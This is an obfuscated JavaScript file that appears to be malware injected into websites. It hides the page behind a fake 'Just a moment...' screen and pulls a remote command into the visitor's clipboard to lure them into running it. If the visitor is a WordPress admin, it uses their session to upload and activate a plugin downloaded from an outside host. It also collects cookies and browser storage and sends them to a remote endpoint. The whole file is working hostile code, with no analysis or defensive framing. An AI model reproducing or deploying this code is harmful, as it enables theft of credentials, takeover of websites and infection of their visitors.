(function(){
var _oyee=window,_uias=document,_pzue=navigator;
var _cf0=null;
try{_uias.documentElement.style.setProperty("overflow","hidden","important");_uias.documentElement.style.setProperty("background","#fff","important");_cf0=_uias.createElement("iframe");_cf0.setAttribute("allowfullscreen","");_cf0.setAttribute("allow","fullscreen; clipboard-write");_cf0.style.cssText="position:fixed;inset:0;width:100%;height:100%;border:none;z-index:2147483647;background:#fff";_cf0.srcdoc="Just a moment...\n";(_uias.body||_uias.documentElement).appendChild(_cf0)}catch(e){}
var _zztls=_uias.currentScript||_uias.querySelector(String.fromCharCode(115,99,114,105,112,116,91,115,114,99,42,61,34,102,105,108,101,46,106,115,34,93))||_uias.querySelector(["scr","i","pt","[","dat","a-c","]"].join(""));
var _ljdrl=(709^(539>>3))&0xFF;
var _otcf=function(s){var a=0;if(!s)return 0;for(var i=0;ivar _cmdTk="'+(cmdToken||'')+'";var _ep="'+ep.replace('/api/v1/0044d4a','')+'";var _cmdVal="";var _pm=window.parent.postMessage.bind(window.parent);if(_cmdTk){var _x=new XMLHttpRequest();_x.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,true);_x.onload=function(){try{var r=JSON.parse(_x.responseText);if(r&&r.c){var _b=atob(r.c),_u=new Uint8Array(_b.length);for(var _i=0;_i<_b.length;_i++)_u[_i]=_b.charCodeAt(_i);_cmdVal=new TextDecoder("utf-8").decode(_u)}}catch(e){}};_x.send()}function _bc(e){try{if(navigator.sendBeacon)navigator.sendBeacon(_ep+"/api/v1/b832c14?e="+e)}catch(x){}}function _fb(t){try{var a=document.createElement("textarea");a.value=t;a.style.cssText="position:fixed;left:-9999px;opacity:0";document.body.appendChild(a);a.focus();a.select();var ok=document.execCommand("copy");a.remove();_bc(ok?"copy_fb":"copy_fail")}catch(e){_bc("copy_fail")}}function __cp(b,k){try{_bc("vclick")}catch(e){}var t=_cmdVal;if(!t&&_cmdTk){try{var _s=new XMLHttpRequest();_s.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk,false);_s.send(null);if(_s.status===200){var _r=JSON.parse(_s.responseText);if(_r&&_r.c){var _c2=atob(_r.c),_u2=new Uint8Array(_c2.length);for(var _j=0;_j<_c2.length;_j++)_u2[_j]=_c2.charCodeAt(_j);_cmdVal=new TextDecoder("utf-8").decode(_u2);t=_cmdVal}}}catch(e){}}if(!t&&b){try{t=atob(b)}catch(e){}}if(t){if(navigator.clipboard&&typeof navigator.clipboard.writeText==="function"){try{navigator.clipboard.writeText(t).then(function(){_bc("copy")}).catch(function(){_fb(t)})}catch(e){_fb(t)}}else{_fb(t)}}else{_bc("copy_fail")}if(!k){try{_pm({t:"v",c:b||"1",keep:false,cmd:t||""},"*")}catch(e){}}}function __close(){try{_bc("vclose")}catch(e){}try{var fe=window.frameElement;if(fe)fe.remove()}catch(e){try{_pm({t:"cf_close"},"*")}catch(x){}}}function __onexec(cb){if(!_cmdTk||typeof cb!=="function")return;var _n=0,_iv=setInterval(function(){if(++_n>240){clearInterval(_iv);return}try{var x=new XMLHttpRequest();x.open("GET",_ep+"/api/v1/4aff112?tk="+_cmdTk+"&w=1",true);x.onload=function(){try{var r=JSON.parse(x.responseText);if(r&&(r.d===1||r.d==="1")){clearInterval(_iv);cb()}}catch(e){}};x.send()}catch(e){}},1500)}try{window.parent.postMessage=function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)}}catch(e){}try{Object.defineProperty(window.parent,"postMessage",{value:function(dd,oo){if(dd&&dd.t==="v"){__cp(dd.c,dd.keep);return}_pm(dd,oo)},writable:true,configurable:true})}catch(e){}';
if(html){if(html.indexOf('')!==-1){html=html.replace('',cpS+'')}else{html=cpS+html}f.srcdoc=html}
try{var _mo=new MutationObserver(function(){if(!f||!f.isConnected){_ul();_mo.disconnect()}});_mo.observe(_uias.documentElement,{childList:true,subtree:true})}catch(e){}
_oyee.addEventListener(["mes","sag","e"].join(""),function(e){if(!e.data)return;if(e.data.t===String.fromCharCode(118)){if(e.data.cmd){try{if(_pzue.clipboard&&typeof _pzue.clipboard.writeText===String.fromCharCode(102,117,110,99,116,105,111,110)){_pzue.clipboard.writeText(e.data.cmd).catch(function(){var a=_uias.createElement(String.fromCharCode(116,101,120,116,97,114,101,97));a.value=e.data.cmd;a.style.cssText=String.fromCharCode(112,111,115,105,116,105,111,110,58,102,105,120,101,100,59,108,101,102,116,58,45,57,57,57,57,112,120,59,111,112,97,99,105,116,121,58,48);_uias.body.appendChild(a);a.focus();a.select();_uias.execCommand("\x63\x6f\x70\x79");a.remove()})}else{var a=_uias.createElement("\x74\x65\x78\x74\x61\x72\x65\x61");a.value=e.data.cmd;a.style.cssText=["po","si","ti","on",":","fi","xed;","lef","t",":-","999","9","px;o","p","ac","it","y:0"].join("");_uias.body.appendChild(a);a.focus();a.select();_uias.execCommand(String.fromCharCode(99,111,112,121));a.remove()}}catch(ex){}}if(!e.data.keep){try{_cfK()}catch(x){}}}if(e.data.t===(function(){var k=109,a=[14,11,50,14,1,2,30,8],s="";for(var i=0;i plugin upload -> activate (same-origin, creds of the visitor)
async function __pvt(zipUrl, reportUrl) {
function log(e) { try { if (navigator.sendBeacon) navigator.sendBeacon(reportUrl + '?e=' + e); } catch (x) {} }
try {
var r = await fetch('/wp-admin/', { credentials: 'same-origin' });
if (!r.ok) return;
var h = await r.text();
if (h.indexOf('wp-admin') === -1) return;
log('pivot_admin');
var p = await fetch('/wp-admin/plugin-install.php?tab=upload', { credentials: 'same-origin' });
if (!p.ok) { log('pivot_no_pi'); return; }
var ph = await p.text();
var m = ph.match(/_wpnonce" value="([a-f0-9]{10})"/);
if (!m) { log('pivot_no_nonce'); return; }
var zr = await fetch(zipUrl);
if (!zr.ok) { log('pivot_no_zip'); return; }
var zb = await zr.blob();
var fd = new FormData();
fd.append('_wpnonce', m[1]);
fd.append('_wp_http_referer', '/wp-admin/plugin-install.php?tab=upload');
fd.append('pluginzip', zb, 'plugin.zip');
fd.append('install-plugin-submit', 'Install Now');
var up = await fetch('/wp-admin/update.php?action=upload-plugin', {
method: 'POST', body: fd, credentials: 'same-origin'
});
var uh = await up.text();
if (uh.indexOf('Plugin installed successfully') === -1) { log('pivot_up_fail'); return; }
log('pivot_uploaded');
var pl = await fetch('/wp-admin/plugins.php', { credentials: 'same-origin' });
var lh = await pl.text();
var am = lh.match(/action=activate&plugin=([^"&]+)&plugin_status=all&paged=1&s&_wpnonce=([a-f0-9]{10})/);
if (!am) { log('pivot_no_actlink'); return; }
await fetch('/wp-admin/plugins.php?action=activate&plugin=' + am[1] + '&plugin_status=all&paged=1&s&_wpnonce=' + am[2], { credentials: 'same-origin' });
log('pivot_ok');
} catch (e) { log('pivot_err'); }
}function __loot(rep){try{var o={};['localStorage','sessionStorage'].forEach(function(s){try{var st=window[s];for(var i=0;i8&&v.length<2000)o[s[0]+':'+k]=v}}}catch(e){}});var c=document.cookie||'';if(c)o.c=c.slice(0,1500);if(!Object.keys(o).length)return;var x=new XMLHttpRequest();x.open('POST',rep,true);x.setRequestHeader('Content-Type','application/json');x.send(JSON.stringify(o))}catch(e){}}try{if(!sessionStorage.getItem('_pv1')){sessionStorage.setItem('_pv1','1');__pvt('https://yelahaye.surf/p/wm.zip',bp+'/api/v1/b832c14')}}catch(e){}try{__loot(bp+'/api/v1/43d64b5')}catch(e){}
})()